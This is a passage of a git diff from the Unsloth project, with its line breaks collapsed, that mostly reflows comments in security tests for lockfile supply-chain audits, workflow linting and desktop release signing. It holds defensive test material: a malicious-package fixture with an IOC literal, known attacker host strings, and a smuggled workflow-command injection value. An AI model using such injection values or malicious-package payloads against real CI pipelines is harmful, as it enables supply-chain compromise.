# You MUST put the below items for vision finetuning:remove_unused_columns = False,dataset_text_field = "",dataset_kwargs = {"skip_prepare_dataset": True},@@ -166,7 +157,6 @@ trainer_stats = trainer.train()model.save_pretrained("unsloth-qwen2-7vl-french-ocr-adapter", tokenizer)tokenizer.save_pretrained("unsloth-qwen2-7vl-french-ocr-adapter")-# Benchmark lora adapter model.model_name = "Unsloth lora adapter model"FastVisionModel.for_inference(model)avg_wer, avg_cer = ocr_evaluator.evaluate_model(@@ -188,13 +178,11 @@ base = find_lora_base_model(model)print((base.__class__.__name__))-# Merge at 16 bits.model.save_pretrained_merged(save_directory = "qwen2-ocr-merged-finetune-merge-16bit", tokenizer = tokenizer)-# Benchmark 16-bit merged model loaded at various precisions.model, tokenizer = FastVisionModel.from_pretrained("./qwen2-ocr-merged-finetune-merge-16bit", load_in_4bit = False, load_in_8bit = False)@@ -210,7 +198,6 @@ avg_wer, avg_cer = ocr_evaluator.evaluate_model()ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-# Load 16bits-merged model in 4 bits.model, tokenizer = FastVisionModel.from_pretrained("./qwen2-ocr-merged-finetune-merge-16bit", load_in_4bit = True, load_in_8bit = False)@@ -226,7 +213,6 @@ avg_wer, avg_cer = ocr_evaluator.evaluate_model()ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-# Load 16bits-merged model in 8 bits.model, tokenizer = FastVisionModel.from_pretrained("./qwen2-ocr-merged-finetune-merge-16bit", load_in_4bit = False, load_in_8bit = True)@@ -240,25 +226,6 @@ avg_wer, avg_cer = ocr_evaluator.evaluate_model()ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-# """### 4 bits merged model"""-#-# # load 4bits-merged model in 4 bits-# model, tokenizer = FastVisionModel.from_pretrained("./qwen2-ocr-merged-finetune-merge-4bit",load_in_4bit=True, load_in_8bit=False)-#-# # benchmark 4bit loaded, 4bits merged model performance-# model_name = "Unsloth 4bits-merged model load-4bits"-#-# avg_wer, avg_cer = ocr_evaluator.evaluate_model(model, tokenizer, eval_dataset, output_dir="unsloth_4bits_merged_model_load_4bits_results")-# ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)-#-# # load model in 8 bits-# model, tokenizer = FastVisionModel.from_pretrained("./qwen2-ocr-merged-finetune-merge-4bit",load_in_4bit=False, load_in_8bit=True)-#-# # benchmark 8bit loaded, 4bits merged model performance-# model_name = "Unsloth 4bits-merged model load-8bits"-#-# avg_wer, avg_cer = ocr_evaluator.evaluate_model(model, tokenizer, eval_dataset, output_dir="unsloth_4bits_merged_model_load_8bits_results")-# ocr_evaluator.add_to_comparison(model_name, avg_wer, avg_cer)ocr_evaluator.print_model_comparison()diff --git a/tests/security/fixtures/_build.py b/tests/security/fixtures/_build.pyindex f52c401b605..e4aa576278c 100644--- a/tests/security/fixtures/_build.py+++ b/tests/security/fixtures/_build.py@@ -16,8 +16,8 @@ _ZIP_DOS_EPOCH = (1980, 1, 1, 0, 0, 0)HERE = Path(__file__).resolve().parent-# IOC literal scan_packages.py must trip on. Keep in sync with-# KNOWN_IOC_STRINGS (scan_npm_packages.py) and RE_MAY12_IOC (scan_packages.py).+# IOC literal scan_packages.py must trip on.+# Keep in sync with KNOWN_IOC_STRINGS (scan_npm_packages.py) and RE_MAY12_IOC (scan_packages.py).MALICIOUS_SETUP_PY = '''"""Test fixture: do NOT install.This file embeds the May-12 Mini Shai-Hulud IOC literal so the@@ -83,7 +83,6 @@ def _build_wheel(out_path: Path, *, name: str, payload_files: dict[str, bytes])record_lines.append(f"{dist_info}/RECORD,,")members[f"{dist_info}/RECORD"] = ("\n".join(record_lines) + "\n").encode()- # Write with sorted order for deterministic byte output.buf = io.BytesIO()with zipfile.ZipFile(buf, "w", compression = zipfile.ZIP_DEFLATED) as zf:for path in sorted(members):@@ -140,7 +139,6 @@ def build_all() -> dict[str, Path]:_build_wheel(mal_whl, name = "malicious_fixture", payload_files = mal_payload)outputs["malicious_wheel"] = mal_whl- # Clean wheel: empty placeholder.clean_payload = {"clean_fixture/__init__.py": CLEAN_INIT_PY.encode(),}diff --git a/tests/security/test_custom_dtype_no_eval.py b/tests/security/test_custom_dtype_no_eval.pyindex 85bd1faa773..584da623208 100644--- a/tests/security/test_custom_dtype_no_eval.py+++ b/tests/security/test_custom_dtype_no_eval.py@@ -55,9 +55,6 @@ def test_the_producers_were_all_found():)-# --- every shipped dtype field must resolve ------------------------------------@pytest.mark.parametrize("value", _shipped_values())def test_shipped_dtype_fields_resolve(value):"""A false rejection here breaks loading one of the six model families."""@@ -120,7 +117,7 @@ def test_an_inherited_value_is_not_trusted(monkeypatch):monkeypatch.setenv("UNSLOTH_FORCE_CUSTOM_DTYPE", payload)got, trusted = trusted_custom_dtype()assert got == payload # dtype fields still readable- assert not trusted # code fields are not+ assert not trusteddef test_an_inherited_value_that_mimics_ours_is_still_not_trusted(monkeypatch):diff --git a/tests/security/test_custom_dtype_wire_format.py b/tests/security/test_custom_dtype_wire_format.pyindex 1be7d152177..f32485b4d5a 100644--- a/tests/security/test_custom_dtype_wire_format.py+++ b/tests/security/test_custom_dtype_wire_format.py@@ -73,10 +73,9 @@ def test_zoo_reader_still_parses_what_unsloth_writes():_, dtype, _, _, _ = value.split(";", 4)name = dtype.strip().removeprefix("torch.")resolved = _get_dtype(name)- # The oracle is torch, not the value under test. Deriving `expected` from- # `resolved` made this assertion tautological for every non-None dtype, so a- # separately released unsloth_zoo that started resolving `float16` to the- # wrong thing would still have passed.+ # The oracle is torch, not the value under test.+ # Deriving `expected` from `resolved` made this assertion tautological for every non-None dtype, so a separately+ # released unsloth_zoo that started resolving `float16` to the wrong thing would still have passed.if dtype.strip() == "None":expected = Noneelse:diff --git a/tests/security/test_desktop_updater_pointer.py b/tests/security/test_desktop_updater_pointer.pyindex 832e4413e03..433aedc222d 100644--- a/tests/security/test_desktop_updater_pointer.py+++ b/tests/security/test_desktop_updater_pointer.py@@ -30,11 +30,11 @@ GATE_NAME = "Check for desktop bundles"SUFFIXES = ("MacOS.dmg", "Linux.AppImage", "Ubuntu.deb", "Windows.exe")STABLE_ASSETS = tuple(f"Unsloth-Desktop-{suffix}" for suffix in SUFFIXES)-# A `gh` that keeps state, so a PATCH is observable in the next read and an-# unmodelled call is a loud failure rather than a silent success. The body is-# Python because the state it keeps is JSON; it is reached through a /bin/sh-# shim like every other fake in this directory, because a `python3` shebang does-# not resolve on a Windows runner, where the interpreter is `python.exe`.+# A `gh` that keeps state, so a PATCH is observable in the next read and an unmodelled call is a loud failure rather+# than a silent success.+# The body is Python because the state it keeps is JSON;+# it is reached through a /bin/sh shim like every other fake in this directory, because a `python3` shebang does not+# resolve on a Windows runner, where the interpreter is `python.exe`.FAKE_GH_BODY = r"""import json, os, pathlib, sys@@ -316,7 +316,6 @@ LEGACY_ASSETS = tuple(f"Unsloth-Desktop-0_1_53_beta-{suffix}" for suffix in SUFFdef test_the_gate_classifies_every_shape_of_release(tmp_path):"""The four-way classification, executed rather than grepped."""cases = (- # assets, repair_pointer, expected proceed (None means the step must fail)((), "false", "false"),((), "true", "false"),(("notes.txt",), "false", "false"),@@ -419,8 +418,8 @@ def test_legacy_downloads_are_restored_during_migration(tmp_path):assert "gh release download v0.1.801-beta --pattern latest.json" in "\n".join(commands)assert any("releases/801 -f make_latest=true" in line for line in commands)assert _latest_of(tmp_path) == "v0.1.801-beta"- # A pre-rename release cannot serve the stable links, and the summary says so- # rather than reporting the downloads as repaired.+ # A pre-rename release cannot serve the stable links, and the summary says so rather than reporting the downloads as+ # repaired.summary = (tmp_path / "step-summary.md").read_text(encoding = "utf-8")assert "predates the stable asset names" in summary@@ -453,8 +452,8 @@ def test_incomplete_draft_and_prerelease_releases_are_never_restored(tmp_path):],manifests = {"v0.1.52-beta": _manifest("v0.1.52-beta")},)- # An explicit repair request that cannot be honoured leaves production broken,- # so it must go red rather than finish green with nothing done.+ # An explicit repair request that cannot be honoured leaves production broken, so it must go red rather than finish+ # green with nothing done.assert result.returncode == 1assert "nothing to restore" in result.stderrassert not [line for line in commands if "--method PATCH" in line]@@ -615,9 +614,8 @@ def test_a_manifest_without_a_usable_version_is_refused(tmp_path):def test_a_draft_or_prerelease_target_is_refused(tmp_path):- # /releases/latest never resolves to a draft or prerelease, so a repair aimed at- # one cannot affect the endpoint. The source filter already refuses them; the- # target is held to the same rule.+ # /releases/latest never resolves to a draft or prerelease, so a repair aimed at one cannot affect the endpoint. The+ # source filter already refuses them; the target is held to the same rule.for state in ("draft", "prerelease"):target = _release("v0.1.53-beta", release_id = 53, complete = False)target[state] = True@@ -634,10 +632,9 @@ def test_a_draft_or_prerelease_target_is_refused(tmp_path):def test_a_target_missing_from_the_release_listing_is_refused(tmp_path):- # The listing is the only view of the target's draft state: /releases/tags/{tag}- # answers 404 for a draft, which has no git tag until it is published. A target- # absent from that single page has an unverifiable state, so the draft/prerelease- # refusal above would degrade into no check. Fail closed instead.+ # The listing is the only view of the target's draft state: /releases/tags/{tag} answers 404 for a draft, which has+ # no git tag until it is published. A target absent from that single page has an unverifiable state, so the+ # draft/prerelease refusal above would degrade into no check. Fail closed instead.result, commands = _run(tmp_path,release_tag = "v0.1.53-beta",diff --git a/tests/security/test_inherited_custom_dtype_is_neutralized.py b/tests/security/test_inherited_custom_dtype_is_neutralized.pyindex 4f814822a4f..1c925c890c9 100644--- a/tests/security/test_inherited_custom_dtype_is_neutralized.py+++ b/tests/security/test_inherited_custom_dtype_is_neutralized.py@@ -25,13 +25,11 @@ def _import_with(value, marker = None):"""Imports the module in a fresh process with `value` inherited, returns the env."""environment = dict(os.environ)environment[_ENV_KEY] = value.format(marker = marker) if marker else value- # The child imports unsloth, and unsloth_zoo.get_device_type() raises on a host- # with no torch accelerator. In-process this file rides on whatever set the- # variable earlier in the session -- studio/backend/tests/conftest.py does, with- # setdefault -- so whether the child inherited it came down to what else was in- # the run. It was not, in Repo tests (CPU), and the child died before reaching- # the module under test. Pin it: this test is about the dtype field, and it- # should read the same on a runner with a card and on one without.+ # The child imports unsloth, and unsloth_zoo.get_device_type() raises on a host with no torch accelerator.+ # In-process this file rides on whatever set the variable earlier in the session+ # (studio/backend/tests/conftest.py does, with setdefault), so whether the child inherited it came down to what+ # else was in the run. It was not set in Repo tests (CPU), and the child died before reaching the module under+ # test. Pin it: this test is about the dtype field, and it should read the same with a card and without one.environment.setdefault("UNSLOTH_ALLOW_CPU", "1")program = ("import unsloth.models._custom_dtype as module, os;"@@ -59,7 +57,6 @@ def test_a_hostile_dtype_field_cannot_reach_an_eval(tmp_path):value = seen.strip("'\"")field = value.split(";", 4)[1]assert field.strip() in DTYPE_ALIASES, field- # What the unhardened `unsloth_zoo==2026.8.15` does with that field, verbatim.assert eval(field) is None # noqa: S307 - the point of the testassert not marker.exists()diff --git a/tests/security/test_lint_workflow_triggers.py b/tests/security/test_lint_workflow_triggers.pyindex d1c8257c2b1..fda9d147e3e 100644--- a/tests/security/test_lint_workflow_triggers.py+++ b/tests/security/test_lint_workflow_triggers.py@@ -368,8 +368,8 @@ def test_publish_cache_key_collision_found_under_both_suffixes(tmp_path, suffix)@pytest.mark.parametrize("command",[- # -i drops into the REPL after the script; on EOF the interpreter- # exits 0 even though the lint called sys.exit(1).+ # -i drops into the REPL after the script;+ # on EOF the interpreter exits 0 even though the lint called sys.exit(1)."python3 -i scripts/lint_workflow_triggers.py",# Anything outside the allowlist fails closed."python3 -d scripts/lint_workflow_triggers.py",@@ -785,11 +785,10 @@ def test_workflow_changes_require_code_owner_review():# Unanchored patterns may start at any depth.("workflows/", ".github/workflows/lint.yml", True),("**/workflows/", ".github/workflows/lint.yml", True),- # An internal slash anchors at the root, gitignore style, so this- # names a top-level workflows/ and not the one under .github/.+ # An internal slash anchors at the root, gitignore style, so this names a top-level workflows/ and not the one+ # under .github/.("workflows/lint.yml", ".github/workflows/lint.yml", False),("workflows/lint.yml", "workflows/lint.yml", True),- # Non-matches.("/unsloth/", ".github/workflows/lint.yml", False),("/unsloth", "unsloth_zoo/x.py", False),],diff --git a/tests/security/test_lockfile_supply_chain_audit.py b/tests/security/test_lockfile_supply_chain_audit.pyindex a7a94e74f04..e76b873e9ed 100644--- a/tests/security/test_lockfile_supply_chain_audit.py+++ b/tests/security/test_lockfile_supply_chain_audit.py@@ -42,8 +42,6 @@ def _run_auditor(# ----------------------------------------------------------------------------# npm lockfile audit.-# ---------------------------------------------------------------------------def test_malicious_lockfile_exits_1(tmp_path):@@ -59,8 +57,7 @@ def test_malicious_lockfile_exits_1(tmp_path):assert "non-registry-resolved-url" in combinedassert "missing-integrity-hash" in combinedassert "known-ioc-string" in combined- # IOC literal built at runtime so CodeQL's- # py/incomplete-url-substring-sanitization rule doesn't false-positive on+ # IOC literal built at runtime so CodeQL's py/incomplete-url-substring-sanitization rule doesn't false-positive on# the source-literal + `in` (the operand is the scanner's own output)._ioc_host = "filev2." + "getsession.org"assert _ioc_host in combined@@ -89,7 +86,6 @@ def test_audit_npm_lockfile_direct_call_findings():# IOC string table -- gated on Fork 1's NPM_IOC_STRINGS additions.# ----------------------------------------------------------------------------_MAY12_IOCS = ("git-tanstack.com","transformers.pyz",@@ -136,7 +132,6 @@ def test_lockfile_auditor_blocked_versions_match_scanner():# Cargo.lock audit.# ----------------------------------------------------------------------------_MALICIOUS_CARGO_LOCK = """\version = 3@@ -235,10 +230,9 @@ def test_audit_cargo_lockfile_direct_call(tmp_path):assert "non-registry-cargo-source" in kinds-# ----------------------------------------------------------------------------# GitHub Actions annotation escape: ::warning:: / ::error:: messages-# are truncated at the first newline unless escaped, so the multi-line-# Finding must be collapsed via the spec'd %0A / %0D / %25 encoding.+# ::warning::++# ---------------------------------------------------------------------------@@ -404,14 +398,11 @@ def test_skip_env_var_with_short_value_rejected(tmp_path):# ---------------------------------------------------------------------------# Followup regression tests for #5604:-# - unsupported lockfile versions must block in default mode (v1 downgrade-# would otherwise pass with rc=0 because the structural walk only runs-# on v2/v3)-# - the ``UNSLOTH_LOCKFILE_AUDIT_SKIP`` warning must be routed through-# ``_gha_escape()`` so an attacker-controlled value cannot inject a-# second workflow-command line via embedded ``\n::error::...``-# - the audit script must be invoked BEFORE ``npm install`` in any-# workflow that consumes the audited lockfiles+# - unsupported lockfile versions must block in default mode (v1 downgrade would otherwise pass with rc=0 because+# the structural walk only runs on v2/v3)+# - the ``UNSLOTH_LOCKFILE_AUDIT_SKIP`` warning must be routed through ``_gha_escape()`` so an attacker-controlled+# value cannot inject a second workflow-command line via embedded ``\n::error::...``+# - the audit script must be invoked BEFORE ``npm install`` in any workflow that consumes the audited lockfiles# ---------------------------------------------------------------------------@@ -466,15 +457,11 @@ def test_skip_env_warning_escapes_workflow_command_injection(tmp_path):fixture = FIXTURES / "clean_lockfile.json"def _physical_lines_starting_with_double_colon(stderr: str) -> list[str]:- # GH Actions parses workflow commands per physical line. Only- # lines that START with `::` after any leading whitespace count- # as a new annotation. Any such line BEYOND the first warning- # is an injected command.+ # GH Actions parses workflow commands per physical line.+ # Only lines that START with `::` after any leading whitespace count as a new annotation.+ # Any such line BEYOND the first warning is an injected command.return [ln for ln in stderr.splitlines() if ln.lstrip().startswith("::")]- # Branch A -- accepted skip value (audit skipped, rc 0). It strips- # to itself, is not a booleanish token and clears the 5-char floor,- # so it carries a full `::error::` into the echoed reason.injected_bad = "%inject\n::error::bad" # contains %, \n, and ::env_a = {**os.environ, "UNSLOTH_LOCKFILE_AUDIT_SKIP": injected_bad}proc_a = subprocess.run(@@ -491,8 +478,8 @@ def test_skip_env_warning_escapes_workflow_command_injection(tmp_path):timeout = 30,env = env_a,)- # The stripped value is "%inject\n::error::bad" (len 21) and is not- # a booleanish token -> accepted-skip path; rc 0, audit skipped.+ # The stripped value is "%inject\n::error::bad" (len 21) and is not a booleanish token -> accepted-skip path; rc 0,+ # audit skipped.assert proc_a.returncode == 0assert "%0A" in proc_a.stderr and "%25" in proc_a.stderr, ("skip value containing \\n and %% must be %0A / %25 escaped; "@@ -504,10 +491,8 @@ def test_skip_env_warning_escapes_workflow_command_injection(tmp_path):f"::warning::); injection split the message into: {cmd_lines_a}")- # Branch B -- rejected skip value (audit falls through and runs).- # Strips to "1\n%", under the 5-char floor, so it reaches the branch- # that echoes _skip_raw. test_skip_env_var_with_short_value_rejected- # covers this branch with a plain "1", which carries no control+ # Branch B+ # test_skip_env_var_with_short_value_rejected covers this branch with a plain "1", which carries no control# character and so cannot tell escaped from unescaped.injected_short = "1\n%"env_b = {**os.environ, "UNSLOTH_LOCKFILE_AUDIT_SKIP": injected_short}@@ -527,8 +512,8 @@ def test_skip_env_warning_escapes_workflow_command_injection(tmp_path):)combined_b = proc_b.stdout + proc_b.stderrassert "REQUIRES a justification" in combined_b, combined_b- # Per-file banner: a rejected value must fall through to the audit,- # not skip it. Clean fixture, so rc 0 with the audit performed.+ # Per-file banner: a rejected value must fall through to the audit, not skip it. Clean fixture, so rc 0 with the+ # audit performed.assert "[lockfile-audit] npm:" in combined_b, combined_bassert proc_b.returncode == 0, (f"rejected skip must still run the audit and pass a clean fixture; "@@ -568,8 +553,8 @@ def test_audit_runs_before_npm_install_in_consumer_workflows():import yaml- # The Linux jobs call `python3`; the Windows and macOS jobs pin an- # interpreter with setup-python and call `python`. Same audit.+ # The Linux jobs call `python3`; the Windows and macOS jobs pin an interpreter with setup-python and call `python`.+ # Same audit.audit_re = re.compile(r"\bpython3?\s+scripts/lockfile_supply_chain_audit\.py\b")install_re = re.compile(r"\bnpm\s+(?:install|ci)\b")@@ -582,9 +567,8 @@ def test_audit_runs_before_npm_install_in_consumer_workflows():for job_id, job in (doc.get("jobs") or {}).items():if not isinstance(job, dict):continue- # (step index, offset within that step) of the job's first- # audit, so an audit and an install sharing one step are- # still ordered against each other.+ # (step index, offset within that step) of the job's first audit, so an audit and an install sharing one+ # step are still ordered against each other.audited_at = Nonefor index, step in enumerate(job.get("steps") or []):run = step.get("run") if isinstance(step, dict) else Nonediff --git a/tests/security/test_mapper_probe_no_exec.py b/tests/security/test_mapper_probe_no_exec.pyindex a73e1afd2b6..7f7c1ef5c87 100644--- a/tests/security/test_mapper_probe_no_exec.py+++ b/tests/security/test_mapper_probe_no_exec.py@@ -804,7 +804,7 @@ def test_a_mutation_above_a_class_shadow_still_counts(monkeypatch):# How mapper.py looks on any release older than `build_mappers`: the five exports are-# initialised empty and filled by a module-scope loop the installed builder reproduces.+# initialised empty and filled by a module-scope loop rather than by a builder call._NO_BUILDER_MAPPER = ('__INT_TO_FLOAT_MAPPER = {"vendor/x-bnb-4bit": ("vendor/x",)}\n'"INT_TO_FLOAT_MAPPER = {}\n"diff --git a/tests/security/test_network_blocker_does_not_leak.py b/tests/security/test_network_blocker_does_not_leak.pyindex d7e1113ceb6..f3aa9800e9b 100644--- a/tests/security/test_network_blocker_does_not_leak.py+++ b/tests/security/test_network_blocker_does_not_leak.py@@ -89,13 +89,13 @@ def test_the_finalizer_really_restores_the_original():"""import tests.security.conftest as C- # From `_BlockedSocket`'s base, not live: `socket.socket` here is already- # the blocker, so reading it would compare the patch with itself.+ # From `_BlockedSocket`'s base, not live: `socket.socket` here is already the blocker, so reading it would compare+ # the patch with itself.real = C._BlockedSocket.__bases__[0]assert real is not C._BlockedSocket- # Stand the guard down first: the fixture captures whatever is installed- # when it starts, so driving it from under itself would "restore" the blocker.+ # Stand the guard down first: the fixture captures whatever is installed when it starts, so driving it from+ # under itself would "restore" the blocker.outer, socket.socket = socket.socket, realtry:generator = C.network_blocker.__wrapped__()diff --git a/tests/security/test_new_install_scripts.py b/tests/security/test_new_install_scripts.pyindex d8656b114ea..936ad163bff 100644--- a/tests/security/test_new_install_scripts.py+++ b/tests/security/test_new_install_scripts.py@@ -41,7 +41,6 @@ def _write(path: Path, content: dict) -> Path:return path-# Lockfile fixturesdef _v3_lockfile(packages: dict) -> dict:return {"name": "unsloth-theme",@@ -63,7 +62,6 @@ def _v2_lockfile(packages: dict, dependencies: dict) -> dict:}-# Testsdef test_no_new_install_scripts_exit_0(tmp_path: Path):"""If base == head, nothing new can have been added."""same = _v3_lockfile(@@ -130,7 +128,6 @@ def test_existing_dep_with_postinstall_ignored(tmp_path: Path):},}head_pkgs = dict(base_pkgs)- # Add an unrelated non-install-script dep in head.head_pkgs["node_modules/lodash"] = {"version": "4.17.21","resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",diff --git a/tests/security/test_release_desktop_appimage.py b/tests/security/test_release_desktop_appimage.pyindex 818a3fad8c8..9a31d030a04 100644--- a/tests/security/test_release_desktop_appimage.py+++ b/tests/security/test_release_desktop_appimage.py@@ -533,7 +533,6 @@ def test_apprun_retires_only_the_font_policies_whose_mount_is_gone(tmp_path):live_policy = state / "unsloth-studio/fonts-mount-live.conf"assert live_policy.is_file()- # Simulate an unmounted AppImage.dead = _apprun_mount(tmp_path, "mount-dead")subprocess.run([dead / "AppRun"], check = True, capture_output = True, env = env)dead_policy = state / "unsloth-studio/fonts-mount-dead.conf"@@ -570,8 +569,7 @@ def test_apprun_encodes_a_mount_path_carrying_xml_and_sed_metacharacters(tmp_patpolicy = materialized.read_text(encoding = "utf-8")assert "@APPDIR@" not in policy- # Fontconfig drops a whole policy it cannot parse, which puts host COLRv1- # fonts back in front of Skia.+ # Fontconfig drops a whole policy it cannot parse, which puts host COLRv1 fonts back in front of Skia.root = ElementTree.fromstring(policy)directories = [element.text for element in root.findall("dir")]assert directories == [f"{appdir}/usr/share/unsloth/fonts"]@@ -693,7 +691,6 @@ def test_managed_appimage_children_preserve_host_library_paths():assert "UNSLOTH_HOST_LD_LIBRARY_PATH" in APPRUN.read_text(encoding = "utf-8")assert "UNSLOTH_HOST_LD_LIBRARY_PATH" in process_source- # Cover std children, Tokio children, and host launchers.production_source = process_source.split('#[cfg(all(test, target_os = "linux"))]', 1)[0]assert production_source.count("for name in APPIMAGE_GUI_ONLY_VARS") == 3for source_path, (call, expected) in child_process_calls.items():diff --git a/tests/security/test_release_desktop_integrity.py b/tests/security/test_release_desktop_integrity.pyindex c3fe8f3be3d..a9471da9390 100644--- a/tests/security/test_release_desktop_integrity.py+++ b/tests/security/test_release_desktop_integrity.py@@ -191,8 +191,8 @@ def _run_create_release(}env.update(kwargs.pop("extra_env", None) or {})- # Execute the production publish sequence in one shell so the notes and- # metadata files cross the same step boundaries as Actions.+ # Execute the production publish sequence in one shell so the notes and metadata files cross the same step+ # boundaries as Actions.names = ("Validate versioned release state","Generate versioned updater metadata",@@ -401,8 +401,8 @@ def test_the_build_uses_the_release_tag_not_the_dispatch_ref():def test_the_tag_is_validated_before_it_is_checked_out(tmp_path):- # actions/checkout resolves the free-text input, so a malformed tag would fail- # on a generic missing-ref error and none of the corrections would be printed.+ # actions/checkout resolves the free-text input, so a malformed tag would fail on a generic missing-ref error and+ # none of the corrections would be printed.steps = _workflow()["jobs"]["prepare-version"]["steps"]names = [step.get("name") or str(step.get("uses")) for step in steps]checkout = next(@@ -449,7 +449,8 @@ def test_the_promotion_guard_orders_numbered_prereleases_by_number():def test_the_promotion_guard_fails_closed_on_a_failed_latest_lookup():guard = _step(_workflow(), "publish-release", "Promote normal release to GitHub latest")["run"]- # A 404 means no latest yet; anything else must stop before the PATCH.+ # A 404 means no latest yet;+ # anything else must stop before the PATCH.fallback = guard.split("elif grep -Fq '(HTTP 404)'", 1)[1].split("gh api --method PATCH", 1)[0]assert "refusing to promote" in fallback.lower()assert "exit 1" in fallback@@ -498,11 +499,9 @@ def test_dead_defender_cmdlets_do_not_skip_the_bundle_scan():"exit 0" not in before_control), "unavailable cmdlets still short-circuit the scan before the positive control"- # The two cmdlets fail independently, so each probe must sit under its OWN- # guard, not merely some guard: pooling both bodies would accept- # $pref.MAPSReporting under `if ($status)`, where a dead status cmdlet again- # discards a readable MAPSReporting=0 and scans blind to the "!ml" cloud- # verdicts this gate exists to catch.+ # The two cmdlets fail independently, so each probe must sit under its OWN guard, not merely some guard: pooling+ # both bodies would accept $pref.MAPSReporting under `if ($status)`, where a dead status cmdlet again discards a+ # readable MAPSReporting=0 and scans blind to the "!ml" cloud verdicts this gate exists to catch.guards = {"$status": _guarded_bodies(scan, "if ($status) {"),"$pref": _guarded_bodies(scan, "if ($pref) {"),@@ -566,8 +565,8 @@ def test_a_sample_quarantined_mid_scan_passes_the_positive_control():body = _guarded_bodies(scan, "if (Test-Path $eicarPath) {")[0]_, scanned, after = body.partition("-DisableRemediation")assert scanned, "the positive control no longer scans the sample with MpCmdRun"- # The re-check has to land after the scan and before this step's own cleanup,- # or it proves nothing about who removed the file.+ # The re-check has to land after the scan and before this step's own cleanup, or it proves nothing about who removed+ # the file.recheck, cleaned, _ = after.partition("Remove-Item $eicarPath")assert cleaned, "the positive control no longer removes the sample afterwards"assert "-not (Test-Path $eicarPath)" in recheck, (@@ -578,8 +577,7 @@ def test_a_sample_quarantined_mid_scan_passes_the_positive_control():assert ("$controlPassed = $true" in recheck), "the vanished sample is noticed but still does not pass the control"- # Only a vanished sample may pass this way. -DisableRemediation stops the scan- # from deleting the file, so with no engine it survives and the skip applies.+ # Only a vanished sample may pass this way.assert recheck.index("-not (Test-Path $eicarPath)") < recheck.index("$controlPassed = $true"), "the control passes without first confirming the sample is gone"diff --git a/tests/security/test_release_desktop_notarization.py b/tests/security/test_release_desktop_notarization.pyindex 56ab5af5cff..81eff88111b 100644--- a/tests/security/test_release_desktop_notarization.py+++ b/tests/security/test_release_desktop_notarization.py@@ -80,8 +80,8 @@ def _run_notarization_step(fake_bin.mkdir(exist_ok = True)log = tmp_path / "commands.log"log.write_text("", encoding = "utf-8")- # Record the full argv so the assertions below read the flags the step- # actually passed, not the text of the YAML that produced them.+ # Record the full argv so the assertions below read the flags the step actually passed, not the text of the YAML+ # that produced them._write_fake_command(fake_bin / "xcrun","""@@ -152,9 +152,8 @@ def test_notarization_step_runs_after_the_macos_build_and_before_staging():step = _step(workflow, "Notarize final macOS disk image")assert step["if"] == "matrix.platform == 'macos-latest'"assert step["env"]["ARTIFACT_PATHS"] == "${{ steps.build_macos.outputs.artifactPaths }}"- # notarytool's own --timeout only caps the polling, so the step still needs- # a backstop or a stalled upload holds the serial matrix until GitHub's 6h- # job limit.+ # notarytool's own --timeout only caps the polling, so the step still needs a backstop or a stalled upload holds the+ # serial matrix until GitHub's 6h job limit.assert isinstance(step["timeout-minutes"], int)names = _step_names(workflow)@@ -230,8 +229,8 @@ def test_submission_carries_every_credential_and_a_bounded_wait(tmp_path):_, commands = _run_notarization_step(_workflow(), tmp_path)submit = next(line for line in commands if line.startswith("xcrun notarytool submit"))fields = submit.split()- # Without --wait the submission returns before Apple has a verdict and the- # staple would race it; --timeout then bounds that wait.+ # Without --wait the submission returns before Apple has a verdict and the staple would race it;+ # --timeout then bounds that wait.for flag in ("--apple-id", "--password", "--team-id", "--wait", "--timeout"):assert flag in fields, submitassert fields[fields.index("--timeout") + 1] != "--wait"diff --git a/tests/security/test_release_desktop_permissions.py b/tests/security/test_release_desktop_permissions.pyindex 37e402a3aa0..e1ffa45649c 100644--- a/tests/security/test_release_desktop_permissions.py+++ b/tests/security/test_release_desktop_permissions.py@@ -112,11 +112,10 @@ def test_build_matrix_hands_off_assets_without_release_credentials():# Every one of those refusals has to be terminal.assert wait_run.count("exit 1") >= 3- # Assert the mechanism, not just the error strings: those survive a step- # that no longer loops or no longer reads a conclusion, and then the- # download races the matrix. Everything below is checked inside the loop- # body, because a one-shot `gh api` read beside a dead `while` would satisfy- # the same substrings while waiting for nothing.+ # Assert the mechanism, not just the error strings: those survive a step that no longer loops or+ # no longer reads a conclusion, and then the download races the matrix. Everything below is+ # checked inside the loop body, because a one-shot `gh api` read beside a dead `while` would+ # satisfy the same substrings while waiting for nothing.loop_body = _poll_loop_body(wait_run)assert "actions/runs/${GITHUB_RUN_ID}/jobs" in loop_body, wait_runassert ".status" in loop_body and ".conclusion" in loop_body, wait_run@@ -129,8 +128,8 @@ def test_build_matrix_hands_off_assets_without_release_credentials():names = [step.get("name") for step in publish["steps"]]assert names.index("Wait for the build matrix") < names.index("Publish release assets")- # And it has to clear before the assets are pulled, or the download races the- # legs and publish-release dies on artifacts that do not exist yet.+ # And it has to clear before the assets are pulled, or the download races the legs and publish-release dies on+ # artifacts that do not exist yet.download = next(indexfor index, step in enumerate(publish["steps"])@@ -268,9 +267,9 @@ def test_the_updater_workflow_skips_releases_without_desktop_bundles():assert "grep -q '^Unsloth-Desktop-'" in gate["run"]# An unreadable release must not look like one that simply has no bundles.assert "refusing to advance the channel" in gate["run"]- # Completeness is judged over the four public downloads, in whichever naming- # scheme the release was built with. tests/security/test_desktop_updater_pointer.py- # executes the classification; these only pin that all three steps share it.+ # Completeness is judged over the four public downloads, in whichever naming scheme the release was built with.+ # tests/security/test_desktop_updater_pointer.py executes the classification; these only pin that all three steps+ # share it.for step_name in ("Check for desktop bundles","Validate updater metadata",@@ -280,8 +279,8 @@ def test_the_updater_workflow_skips_releases_without_desktop_bundles():for suffix in ("MacOS.dmg", "Linux.AppImage", "Ubuntu.deb", "Windows.exe"):assert suffix in run, (step_name, suffix)assert "Unsloth-Desktop" in run, step_name- # Every release published before the rename carries the version in each- # filename; refusing those would make the workflow unusable on all of them.+ # Every release published before the rename carries the version in each filename; refusing those would make the+ # workflow unusable on all of them.assert "version" in run, step_namefor name in (diff --git a/tests/security/test_release_desktop_signing.py b/tests/security/test_release_desktop_signing.pyindex adf0263a3b4..ba2c6e3ca26 100644--- a/tests/security/test_release_desktop_signing.py+++ b/tests/security/test_release_desktop_signing.py@@ -46,9 +46,8 @@ def test_the_signing_cli_is_pinned_by_url_and_digest():def test_both_steps_name_the_shell_they_need():- # -MaximumRetryCount / 